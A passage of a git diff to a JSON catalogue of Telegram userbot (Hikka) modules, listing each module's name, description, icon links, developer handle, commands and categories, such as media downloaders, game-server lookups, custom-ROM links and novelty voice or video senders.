+ "systeminfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Get information about your server" } } ], @@ -29187,159 +41701,844 @@ "Admin" ] }, - "SkillsAngels/Modules/love.py": { - "name": "LoveMod", - "description": "Красивые слова для второй половинки", + "CakesTwix/Hikka-Modules/InlineWynnCraft.py": { + "name": "InlineWynnCraftInfoMod", + "description": "A module for displaying player information on the WynnCraft rpg server", + "meta": { + "pic": "https://b.thumbs.redditmedia.com/-cDkj6PuQHqdLEhPh1JYsYplTArOOUuBnKs5FC8sgKs.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "wucheckcmd": "Check user by username" + }, + { + "wplayertopcmd": "Top players" + } + ], + "new_commands": [ + { + "wucheck": { + "ru_doc": null, + "en_doc": null, + "doc": "Check user by username" + } + }, + { + "wplayertop": { + "ru_doc": null, + "en_doc": null, + "doc": "Top players" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "CakesTwix/Hikka-Modules/minecraft.py": { + "name": "InlineMinecraftInfoMod", + "description": "Information about players and server status", + "meta": { + "pic": "https://icons.iconarchive.com/icons/blackvariant/button-ui-requests-2/1024/Minecraft-2-icon.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "mucheckcmd": "Check user by username" + }, + { + "mpingcmd": "Ping minecraft server" + } + ], + "new_commands": [ + { + "mucheck": { + "ru_doc": null, + "en_doc": null, + "doc": "Check user by username" + } + }, + { + "mping": { + "ru_doc": null, + "en_doc": null, + "doc": "Ping minecraft server" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "CakesTwix/Hikka-Modules/Silero.py": { + "name": "SileroMod", + "description": "Silero Models: pre-trained speech-to-text, text-to-speech and text-enhancement models made embarrassingly simple", + "meta": { + "pic": "https://cdn.pixabay.com/photo/2017/07/09/20/48/speaker-2488096_1280.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "sxeniacmd": "From text to sound (xenia)" + }, + { + "saidarcmd": "From text to sound (aidar)" + }, + { + "sbayacmd": "From text to sound (baya)" + }, + { + "skseniyacmd": "From text to sound (kseniya)" + }, + { + "srandomcmd": "From text to sound (random)" + } + ], + "new_commands": [ + { + "sxenia": { + "ru_doc": null, + "en_doc": null, + "doc": "From text to sound (xenia)" + } + }, + { + "saidar": { + "ru_doc": null, + "en_doc": null, + "doc": "From text to sound (aidar)" + } + }, + { + "sbaya": { + "ru_doc": null, + "en_doc": null, + "doc": "From text to sound (baya)" + } + }, + { + "skseniya": { + "ru_doc": null, + "en_doc": null, + "doc": "From text to sound (kseniya)" + } + }, + { + "srandom": { + "ru_doc": null, + "en_doc": null, + "doc": "From text to sound (random)" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "CakesTwix/Hikka-Modules/random_tools.py": { + "name": "RToolsMod", + "description": "Random tools", + "meta": { + "pic": "https://i0.wp.com/alliancestake.org/wp-content/uploads/2017/09/icon-circle-tools-blue-1.png?fit=300%2C300&ssl=1", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "mac2vendorcmd": "Get vendor name by mac" + }, + { + "oneptcmd": "A simple URL shortener (1pt.co)" + }, + { + "npcmd": "Нова Пошта" + } + ], + "new_commands": [ + { + "mac2vendor": { + "ru_doc": null, + "en_doc": null, + "doc": "Get vendor name by mac" + } + }, + { + "onept": { + "ru_doc": null, + "en_doc": null, + "doc": "A simple URL shortener (1pt.co)" + } + }, + { + "np": { + "ru_doc": null, + "en_doc": null, + "doc": "Нова Пошта" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "CakesTwix/Hikka-Modules/hentai_ftg.py": { + "name": "NHentaiMod", + "description": "Hentai module 18+ Legacy", + "meta": { + "pic": "https://seeklogo.com/images/H/hentai-haven-logo-B9D8C4B3B8-seeklogo.com.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "nhrandomcmd": "Random hentai manga" + }, + { + "nhtagcmd": "Search hentai manga by tag" + }, + { + "nhidcmd": "Search hentai manga by id" + } + ], + "new_commands": [ + { + "nhrandom": { + "ru_doc": null, + "en_doc": null, + "doc": "Random hentai manga" + } + }, + { + "nhtag": { + "ru_doc": null, + "en_doc": null, + "doc": "Search hentai manga by tag" + } + }, + { + "nhid": { + "ru_doc": null, + "en_doc": null, + "doc": "Search hentai manga by id" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "CakesTwix/Hikka-Modules/yandere.py": { + "name": "MoebooruMod", + "description": "Module for obtaining art from the ImageBoard yande.re", + "meta": { + "pic": "https://www.seekpng.com/png/full/824-8246338_yandere-sticker-yandere-simulator-ayano-bloody.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "ylastcmd": "The last posted art" + }, + { + "yrandomcmd": "Random posted art" + }, + { + "yvotecmd": "Vote for art\n\nBad = -1, None = 0, Good = 1, Great = 2, Favorite = 3" + } + ], + "new_commands": [ + { + "ylast": { + "ru_doc": null, + "en_doc": null, + "doc": "The last posted art" + } + }, + { + "yrandom": { + "ru_doc": null, + "en_doc": null, + "doc": "Random posted art" + } + }, + { + "yvote": { + "ru_doc": null, + "en_doc": null, + "doc": "Vote for art\n\nBad = -1, None = 0, Good = 1, Great = 2, Favorite = 3" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "CakesTwix/Hikka-Modules/flibusta.py": { + "name": "FlibustaMod", + "description": "Get books from flibusta", + "meta": { + "pic": "https://allvpn.ru/assets/upload/t-200x200-7439447981535195421.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "bookcmd": "🔎 Sending the form with the books. Send message with args if you want to find a book by title" + } + ], + "new_commands": [ + { + "book": { + "ru_doc": null, + "en_doc": null, + "doc": "🔎 Sending the form with the books. Send message with args if you want to find a book by title" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "CakesTwix/Hikka-Modules/tikcock.py": { + "name": "TikTokMod", + "description": "Yet Another TikTok Downloader", + "meta": { + "pic": "http://assets.stickpng.com/images/5cb78671a7c7755bf004c14b.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "ttdlcmd": "Download video/music from tiktok" + } + ], + "new_commands": [ + { + "ttdl": { + "ru_doc": null, + "en_doc": null, + "doc": "Download video/music from tiktok" + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "CakesTwix/Hikka-Modules/compli.py": { + "name": "CompliMod", + "description": "Send a compliment to a person", + "meta": { + "pic": "https://www.freeiconspng.com/uploads/facebook-circle-heart-love-png-4.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "complicmd": "Send a person compliments\n.compli [delay] [man/women]" + } + ], + "new_commands": [ + { + "compli": { + "ru_doc": null, + "en_doc": null, + "doc": "Send a person compliments\n.compli [delay] [man/women]" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "CakesTwix/Hikka-Modules/transmission.py": { + "name": "TransmissionMod", + "description": "Simple torrent client for Transmission", + "meta": { + "pic": "https://img.icons8.com/ios-filled/512/40C057/torrent.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "tinfocmd": "Useful information about transmission server" + }, + { + "tdownloadcmd": "Download Torrent file" + } + ], + "new_commands": [ + { + "tinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Useful information about transmission server" + } + }, + { + "tdownload": { + "ru_doc": null, + "en_doc": null, + "doc": "Download Torrent file" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "CakesTwix/Hikka-Modules/RandomPeople.py": { + "name": "RandomPeopleMod", + "description": "Create your new identity", + "meta": { + "pic": "https://www.pngall.com/wp-content/uploads/12/Avatar-Transparent.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "prandomcmd": "Get random people" + } + ], + "new_commands": [ + { + "prandom": { + "ru_doc": null, + "en_doc": null, + "doc": "Get random people" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "CakesTwix/Hikka-Modules/SimpleNoLink.py": { + "name": "NoLinksMod", + "description": "A simple link cleaner from your chats", + "meta": { + "pic": "https://img.icons8.com/officel/16/000000/broken-link.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "linkcmd": "Configuration for chat" + } + ], + "new_commands": [ + { + "link": { + "ru_doc": null, + "en_doc": null, + "doc": "Configuration for chat" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "CakesTwix/Hikka-Modules/InlineYouTube.py": { + "name": "YouTubeMod", + "description": "Download YouTube videos with video and audio quality selection", + "meta": { + "pic": "https://img.icons8.com/bubbles/512/000000/youtube-play.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "ytcmd": "[quality(144p/720p/etc)] <link> - Download video from youtube" + } + ], + "new_commands": [ + { + "yt": { + "ru_doc": null, + "en_doc": null, + "doc": "[quality(144p/720p/etc)] <link> - Download video from youtube" + } + } + ], + "category": [ + "Media", + "Chat" + ] + }, + "CakesTwix/Hikka-Modules/InlineSpotifyDownloader.py": { + "name": "InlineSpotifyDownloaderMod", + "description": "Module for downloading music from Spotify", + "meta": { + "pic": "https://cdn-icons-png.flaticon.com/512/2111/2111624.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "spotdlcmd": "Download music from Spotify (Only tracks)" + } + ], + "new_commands": [ + { + "spotdl": { + "ru_doc": null, + "en_doc": null, + "doc": "Download music from Spotify (Only tracks)" + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "CakesTwix/Hikka-Modules/fdroid.py": { + "name": "FDroidMod", + "description": "Search for android apps from FDroid", + "meta": { + "pic": "https://forum.f-droid.org/uploads/default/original/2X/c/cfb2c14973c28415b0e5b5f7adef9c8288cd8609.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "fdroidcmd": "Find the app in the FDroid catalog" + } + ], + "new_commands": [ + { + "fdroid": { + "ru_doc": null, + "en_doc": null, + "doc": "Find the app in the FDroid catalog" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "CakesTwix/Hikka-Modules/hentai.py": { + "name": "NHentaiMod", + "description": "🍓 Hentai doujin module 18+", + "meta": { + "pic": "https://seeklogo.com/images/H/hentai-haven-logo-B9D8C4B3B8-seeklogo.com.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "nhrandomcmd": "🎲 Random hentai doujin" + }, + { + "nhlastcmd": "⌚️ Latest hentai doujin" + }, + { + "nhidcmd": "1️⃣ Hentai doujin by id" + }, + { + "nhsearchcmd": "🔎 Search hentai doujin" + } + ], + "new_commands": [ + { + "nhrandom": { + "ru_doc": null, + "en_doc": null, + "doc": "🎲 Random hentai doujin" + } + }, + { + "nhlast": { + "ru_doc": null, + "en_doc": null, + "doc": "⌚️ Latest hentai doujin" + } + }, + { + "nhid": { + "ru_doc": null, + "en_doc": null, + "doc": "1️⃣ Hentai doujin by id" + } + }, + { + "nhsearch": { + "ru_doc": null, + "en_doc": null, + "doc": "🔎 Search hentai doujin" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "CakesTwix/Hikka-Modules/customroms.py": { + "name": "CustomRomsMod", + "description": "Miscellaneous stuff for custom ROMs", + "meta": { + "pic": "https://styles.redditmedia.com/t5_3htpk/styles/communityIcon_vlbulj1gn8l11.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "sakuracmd": "Project Sakura" + }, + { + "dotoscmd": "DotOS" + }, + { + "aexcmd": "AOSP Extended" + }, + { + "twrpcmd": "TWRP Devices" + }, + { + "shrpcmd": "SHRP Devices" + }, + { + "pbrpcmd": "PBRP Devices" + }, + { + "magiskcmd": "Magisk by topjohnwu" + } + ], + "new_commands": [ + { + "sakura": { + "ru_doc": null, + "en_doc": null, + "doc": "Project Sakura" + } + }, + { + "dotos": { + "ru_doc": null, + "en_doc": null, + "doc": "DotOS" + } + }, + { + "aex": { + "ru_doc": null, + "en_doc": null, + "doc": "AOSP Extended" + } + }, + { + "twrp": { + "ru_doc": null, + "en_doc": null, + "doc": "TWRP Devices" + } + }, + { + "shrp": { + "ru_doc": null, + "en_doc": null, + "doc": "SHRP Devices" + } + }, + { + "pbrp": { + "ru_doc": null, + "en_doc": null, + "doc": "PBRP Devices" + } + }, + { + "magisk": { + "ru_doc": null, + "en_doc": null, + "doc": "Magisk by topjohnwu" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "CakesTwix/Hikka-Modules/customroms_geek.py": { + "name": "CustomRomsMod", + "description": "Miscellaneous stuff for custom ROMs", + "meta": { + "pic": "https://styles.redditmedia.com/t5_3htpk/styles/communityIcon_vlbulj1gn8l11.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "sakuracmd": "Project Sakura" + }, + { + "dotoscmd": "DotOS" + }, + { + "twrpcmd": "TWRP Devices" + }, + { + "shrpcmd": "SHRP Devices" + }, + { + "pbrpcmd": "PBRP Devices" + }, + { + "magiskcmd": "Magisk by topjohnwu" + } + ], + "new_commands": [ + { + "sakura": { + "ru_doc": null, + "en_doc": null, + "doc": "Project Sakura" + } + }, + { + "dotos": { + "ru_doc": null, + "en_doc": null, + "doc": "DotOS" + } + }, + { + "twrp": { + "ru_doc": null, + "en_doc": null, + "doc": "TWRP Devices" + } + }, + { + "shrp": { + "ru_doc": null, + "en_doc": null, + "doc": "SHRP Devices" + } + }, + { + "pbrp": { + "ru_doc": null, + "en_doc": null, + "doc": "PBRP Devices" + } + }, + { + "magisk": { + "ru_doc": null, + "en_doc": null, + "doc": "Magisk by topjohnwu" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "CakesTwix/Hikka-Modules/saucenao.py": { + "name": "SauceNaoMod", + "description": "🔎 SauceNao - image source locator", + "meta": { + "pic": "https://img.icons8.com/external-flaticons-lineal-color-flat-icons/512/000000/external-anime-addiction-flaticons-lineal-color-flat-icons.png", + "banner": null, + "developer": "@cakestwix_mods" + }, + "commands": [ + { + "saucecmd": "🔗 Search for the source by link/photo" + } + ], + "new_commands": [ + { + "sauce": { + "ru_doc": null, + "en_doc": null, + "doc": "🔗 Search for the source by link/photo" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "CakesTwix/Hikka-Modules/linux_packages.py": { + "name": "LinuxPackagesMod", + "description": "Search package for Linux by name", + "meta": { + "pic": "https://img.icons8.com/clouds/512/000000/linux-client.png", + "banner": null, + "developer": "@KiwiNicer" + }, + "commands": [ + { + "aurcmd": "Arch User Repository" + }, + { + "pacmancmd": "Pacman" + } + ], + "new_commands": [ + { + "aur": { + "ru_doc": null, + "en_doc": null, + "doc": "Arch User Repository" + } + }, + { + "pacman": { + "ru_doc": null, + "en_doc": null, + "doc": "Pacman" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "Ijidishurka/modules/catt.py": { + "name": "catt", + "description": "Подпишись на канал @modwini", "meta": { "pic": null, - "banner": "https://i.imgur.com/Xzi8UL0.jpeg", - "developer": "@hikkaftgmods" + "banner": null }, "commands": [ { - "lvgcmd": "Активирует красивые слова для девушки" - }, - { - "lvpcmd": "Активирует красивые слова для парня" + "cattcmd": "Скидывает видео с котиком (работает в чатах где отключено медиa)" } ], "new_commands": [ { - "lvg": { + "catt": { "ru_doc": null, "en_doc": null, - "doc": "Активирует красивые слова для девушки" - } - }, - { - "lvp": { - "ru_doc": null, - "en_doc": null, - "doc": "Активирует красивые слова для парня" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SkillsAngels/Modules/Iris.py": { - "name": "IrisMod", - "description": "Для автоматического фарминга коинов в ирисботе", - "meta": { - "pic": "https://te.legra.ph/file/98192f1f7953275baead5.jpg", - "banner": "https://te.legra.ph/file/a428776824470e0bdccb6.jpg", - "developer": "@hikkaftgmods" - }, - "commands": [ - { - "farmoncmd": "Запустить автофарминг" - }, - { - "farmoffcmd": "Остановить автофарминг" - }, - { - "farmcmd": "Вывод кол-ва коинов, добытых этим модулем" - }, - { - "give": "Передает ириски/голд на другой акк" - }, - { - "baghis": "Информация где побывали ваши ириски" - }, - { - "bagcmd": "Показывает ваш мешок" - }, - { - "irishcmd": "Помощь по модулю Iris" - } - ], - "new_commands": [ - { - "farmon": { - "ru_doc": null, - "en_doc": null, - "doc": "Запустить автофарминг" - } - }, - { - "farmoff": { - "ru_doc": null, - "en_doc": null, - "doc": "Остановить автофарминг" - } - }, - { - "farm": { - "ru_doc": null, - "en_doc": null, - "doc": "Вывод кол-ва коинов, добытых этим модулем" - } - }, - { - "give": { - "ru_doc": null, - "en_doc": null, - "doc": "Передает ириски/голд на другой акк" - } - }, - { - "baghis": { - "ru_doc": null, - "en_doc": null, - "doc": "Информация где побывали ваши ириски" - } - }, - { - "bag": { - "ru_doc": null, - "en_doc": null, - "doc": "Показывает ваш мешок" - } - }, - { - "irish": { - "ru_doc": null, - "en_doc": null, - "doc": "Помощь по модулю Iris" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "SkillsAngels/Modules/Complements.py": { - "name": "ComplementsMod", - "description": "Модуль который дарит комплементы девушке/парню", - "meta": { - "pic": "https://i.imgur.com/xC4oVi6.jpeg", - "banner": "https://i.imgur.com/kDshq0N.jpeg", - "developer": "@hikkaftgmods" - }, - "commands": [ - { - "cgcmd": "Эта команда дарит комплементы девушке" - }, - { - "cbcmd": "Эта команда дарит комплементы парню" - } - ], - "new_commands": [ - { - "cg": { - "ru_doc": null, - "en_doc": null, - "doc": "Эта команда дарит комплементы девушке" - } - }, - { - "cb": { - "ru_doc": null, - "en_doc": null, - "doc": "Эта команда дарит комплементы парню" + "doc": "Скидывает видео с котиком (работает в чатах где отключено медиa)" } } ], @@ -29634,32 +42833,6 @@ "Chat" ] }, - "Ijidishurka/modules/lp.py": { - "name": "elpe", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "elpecmd": "" - } - ], - "new_commands": [ - { - "elpe": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, "Ijidishurka/modules/gimntv.py": { "name": "bas", "description": "Гимнт твича с Басбустом by @modwini", @@ -29716,185 +42889,6 @@ "Chat" ] }, - "Ijidishurka/modules/Cat.py": { - "name": "CatModule", - "description": "Отправляет случайное фото котика.", - "meta": { - "pic": null, - "banner": null, - "developer": "@modwini" - }, - "commands": [ - { - "catcmd": "Отправляет случайное фото котика." - } - ], - "new_commands": [ - { - "cat": { - "ru_doc": null, - "en_doc": null, - "doc": "Отправляет случайное фото котика." - } - } - ], - "category": [ - "Media", - "Info" - ] - }, - "Ijidishurka/modules/MonacoFarm.py": { - "name": "FarmMonacoMod", - "description": "Модуль для автоматического фарминга в игровом боте @MonacoGamebot", - "meta": { - "pic": null, - "banner": null, - "developer": "@modwini" - }, - "commands": [ - { - "farmcmd": "Запустить автоматический фарминг в боте" - }, - { - "stopcmd": "Остановить автоматический фарминг в боте" - } - ], - "new_commands": [ - { - "farm": { - "ru_doc": null, - "en_doc": null, - "doc": "Запустить автоматический фарминг в боте" - } - }, - { - "stop": { - "ru_doc": null, - "en_doc": null, - "doc": "Остановить автоматический фарминг в боте" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ijidishurka/modules/bill.py": { - "name": "billy", - "description": "Подпишись на канал @modwini", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "billycmd": "Отправляет видео сообщение" - } - ], - "new_commands": [ - { - "billy": { - "ru_doc": null, - "en_doc": null, - "doc": "Отправляет видео сообщение" - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "Ijidishurka/modules/amogus.py": { - "name": "amogus", - "description": "Подпишись на канал @modwini", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "amoguscmd": "Скидывает видео с амогусом (работает в чатах где отключено медиa)" - } - ], - "new_commands": [ - { - "amogus": { - "ru_doc": null, - "en_doc": null, - "doc": "Скидывает видео с амогусом (работает в чатах где отключено медиa)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ijidishurka/modules/catt.py": { - "name": "catt", - "description": "Подпишись на канал @modwini", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "cattcmd": "Скидывает видео с котиком (работает в чатах где отключено медиa)" - } - ], - "new_commands": [ - { - "catt": { - "ru_doc": null, - "en_doc": null, - "doc": "Скидывает видео с котиком (работает в чатах где отключено медиa)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Ijidishurka/modules/video_to_voice.py": { - "name": "VideoToVoiceMod", - "description": "Модуль, который преобразует видео в голосовое сообщение или MP3 файл.", - "meta": { - "pic": null, - "banner": null, - "developer": "@modwini" - }, - "commands": [ - { - "гсcmd": "Команда гс, преобразующая видео в голосовое сообщение." - }, - { - "mp3cmd": "Команда mp3, преобразующая видео в MP3 файл." - } - ], - "new_commands": [ - { - "гс": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда гс, преобразующая видео в голосовое сообщение." - } - }, - { - "mp3": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда mp3, преобразующая видео в MP3 файл." - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, "Ijidishurka/modules/xixixaxa.py": { "name": "hihihaha", "description": "Громкий звук хихихаха👍\nПодпишись на канал @modwini", @@ -29921,8 +42915,8 @@ "Tools" ] }, - "Ijidishurka/modules/rand.py": { - "name": "кругляш", + "Ijidishurka/modules/bill.py": { + "name": "billy", "description": "Подпишись на канал @modwini", "meta": { "pic": null, @@ -29930,15 +42924,15 @@ }, "commands": [ { - "krcmd": "Кидает рандом видео сообщение из канала @kruglishik" + "billycmd": "Отправляет видео сообщение" } ], "new_commands": [ { - "kr": { + "billy": { "ru_doc": null, "en_doc": null, - "doc": "Кидает рандом видео сообщение из канала @kruglishik" + "doc": "Отправляет видео сообщение" } } ], @@ -29947,327 +42941,6 @@ "Media" ] }, - "Ijidishurka/modules/oksimiron.py": { - "name": "rap", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@modwini" - }, - "commands": [ - { - "rapcmd": "" - } - ], - "new_commands": [ - { - "rap": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "Ijidishurka/modules/voiceGirlsV4.py": { - "name": "voiceGirls3", - "description": "Голосовые сообщения девушек", - "meta": { - "pic": null, - "banner": null, - "developer": "@modwini" - }, - "commands": [ - { - "прcmd": "| Привет" - }, - { - "кдcmd": "| Как дела?" - }, - { - "привcmd": "| Приветик" - }, - { - "нормcmd": "| Все нормально" - }, - { - "нуиcmd": "| Ну и что" - }, - { - "хорошоcmd": "| Хорошо" - }, - { - "аняcmd": "| Я Аня" - }, - { - "мне19cmd": "| Мне 19 лет" - }, - { - "хзcmd": "| не знаю" - }, - { - "непонcmd": "| Не поняла" - }, - { - "гоcmd": "| Ну давай" - }, - { - "даcmd": "| Да" - }, - { - "нудаcmd": "| Ну да" - }, - { - "чтоcmd": "| Что?" - }, - { - "кудаcmd": "| Куда?" - }, - { - "спокcmd": "| Спокойной ночи" - }, - { - "кнcmd": "| Как настроение?" - }, - { - "добрcmd": "| Доброе утро" - }, - { - "покаcmd": "| Пока" - }, - { - "прощайcmd": "| Прощай" - }, - { - "сладкихcmd": "| Сладких снов" - }, - { - "ланcmd": "| Ну ладно" - }, - { - "пжcmd": "| Ну пожалуйста" - }, - { - "дядяcmd": "| Дядя не надо" - }, - { - "хмcmd": "| хмммм" - } - ], - "new_commands": [ - { - "пр": { - "ru_doc": null, - "en_doc": null, - "doc": "| Привет" - } - }, - { - "кд": { - "ru_doc": null, - "en_doc": null, - "doc": "| Как дела?" - } - }, - { - "прив": { - "ru_doc": null, - "en_doc": null, - "doc": "| Приветик" - } - }, - { - "норм": { - "ru_doc": null, - "en_doc": null, - "doc": "| Все нормально" - } - }, - { - "нуи": { - "ru_doc": null, - "en_doc": null, - "doc": "| Ну и что" - } - }, - { - "хорошо": { - "ru_doc": null, - "en_doc": null, - "doc": "| Хорошо" - } - }, - { - "аня": { - "ru_doc": null, - "en_doc": null, - "doc": "| Я Аня" - } - }, - { - "мне19": { - "ru_doc": null, - "en_doc": null, - "doc": "| Мне 19 лет" - } - }, - { - "хз": { - "ru_doc": null, - "en_doc": null, - "doc": "| не знаю" - } - }, - { - "непон": { - "ru_doc": null, - "en_doc": null, - "doc": "| Не поняла" - } - }, - { - "го": { - "ru_doc": null, - "en_doc": null, - "doc": "| Ну давай" - } - }, - { - "да": { - "ru_doc": null, - "en_doc": null, - "doc": "| Да" - } - }, - { - "нуда": { - "ru_doc": null, - "en_doc": null, - "doc": "| Ну да" - } - }, - { - "что": { - "ru_doc": null, - "en_doc": null, - "doc": "| Что?" - } - }, - { - "куда": { - "ru_doc": null, - "en_doc": null, - "doc": "| Куда?" - } - }, - { - "спок": { - "ru_doc": null, - "en_doc": null, - "doc": "| Спокойной ночи" - } - }, - { - "кн": { - "ru_doc": null, - "en_doc": null, - "doc": "| Как настроение?" - } - }, - { - "добр": { - "ru_doc": null, - "en_doc": null, - "doc": "| Доброе утро" - } - }, - { - "пока": { - "ru_doc": null, - "en_doc": null, - "doc": "| Пока" - } - }, - { - "прощай": { - "ru_doc": null, - "en_doc": null, - "doc": "| Прощай" - } - }, - { - "сладких": { - "ru_doc": null, - "en_doc": null, - "doc": "| Сладких снов" - } - }, - { - "лан": { - "ru_doc": null, - "en_doc": null, - "doc": "| Ну ладно" - } - }, - { - "пж": { - "ru_doc": null, - "en_doc": null, - "doc": "| Ну пожалуйста" - } - }, - { - "дядя": { - "ru_doc": null, - "en_doc": null, - "doc": "| Дядя не надо" - } - }, - { - "хм": { - "ru_doc": null, - "en_doc": null, - "doc": "| хмммм" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Ijidishurka/modules/gs.py": { - "name": "KeywordMod", - "description": "Присылает громкое голосовое сообщение +_+", - "meta": { - "pic": null, - "banner": null, - "developer": "@modwini" - }, - "commands": [ - { - "micmd": "Скинуть гс" - } - ], - "new_commands": [ - { - "mi": { - "ru_doc": null, - "en_doc": null, - "doc": "Скинуть гс" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, "Ijidishurka/modules/voiceGirlsV2.py": { "name": "voiceGirls2", "description": "Голосовые сообщения девушек by @modwini", @@ -30694,9 +43367,61 @@ "Tools" ] }, - "Ijidishurka/modules/MessageStats.py": { - "name": "MessageStatsMod", - "description": "Показывает статистику сообщений в текущем чате", + "Ijidishurka/modules/amogus.py": { + "name": "amogus", + "description": "Подпишись на канал @modwini", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "amoguscmd": "Скидывает видео с амогусом (работает в чатах где отключено медиa)" + } + ], + "new_commands": [ + { + "amogus": { + "ru_doc": null, + "en_doc": null, + "doc": "Скидывает видео с амогусом (работает в чатах где отключено медиa)" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "Ijidishurka/modules/lp.py": { + "name": "elpe", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "elpecmd": "" + } + ], + "new_commands": [ + { + "elpe": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "Ijidishurka/modules/gs.py": { + "name": "KeywordMod", + "description": "Присылает громкое голосовое сообщение +_+", "meta": { "pic": null, "banner": null, @@ -30704,15 +43429,42 @@ }, "commands": [ { - "statscmd": "Показать статистику сообщений" + "micmd": "Скинуть гс" } ], "new_commands": [ { - "stats": { + "mi": { "ru_doc": null, "en_doc": null, - "doc": "Показать статистику сообщений" + "doc": "Скинуть гс" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "Ijidishurka/modules/oksimiron.py": { + "name": "rap", + "description": null, + "meta": { + "pic": null, + "banner": null, + "developer": "@modwini" + }, + "commands": [ + { + "rapcmd": "" + } + ], + "new_commands": [ + { + "rap": { + "ru_doc": null, + "en_doc": null, + "doc": null } } ], @@ -30721,6 +43473,310 @@ "Fun" ] }, + "Ijidishurka/modules/video_to_voice.py": { + "name": "VideoToVoiceMod", + "description": "Модуль, который преобразует видео в голосовое сообщение или MP3 файл.", + "meta": { + "pic": null, + "banner": null, + "developer": "@modwini" + }, + "commands": [ + { + "гсcmd": "Команда гс, преобразующая видео в голосовое сообщение." + }, + { + "mp3cmd": "Команда mp3, преобразующая видео в MP3 файл." + } + ], + "new_commands": [ + { + "гс": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда гс, преобразующая видео в голосовое сообщение." + } + }, + { + "mp3": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда mp3, преобразующая видео в MP3 файл." + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "Ijidishurka/modules/voiceGirlsV4.py": { + "name": "voiceGirls3", + "description": "Голосовые сообщения девушек", + "meta": { + "pic": null, + "banner": null, + "developer": "@modwini" + }, + "commands": [ + { + "прcmd": "| Привет" + }, + { + "кдcmd": "| Как дела?" + }, + { + "привcmd": "| Приветик" + }, + { + "нормcmd": "| Все нормально" + }, + { + "нуиcmd": "| Ну и что" + }, + { + "хорошоcmd": "| Хорошо" + }, + { + "аняcmd": "| Я Аня" + }, + { + "мне19cmd": "| Мне 19 лет" + }, + { + "хзcmd": "| не знаю" + }, + { + "непонcmd": "| Не поняла" + }, + { + "гоcmd": "| Ну давай" + }, + { + "даcmd": "| Да" + }, + { + "нудаcmd": "| Ну да" + }, + { + "чтоcmd": "| Что?" + }, + { + "кудаcmd": "| Куда?" + }, + { + "спокcmd": "| Спокойной ночи" + }, + { + "кнcmd": "| Как настроение?" + }, + { + "добрcmd": "| Доброе утро" + }, + { + "покаcmd": "| Пока" + }, + { + "прощайcmd": 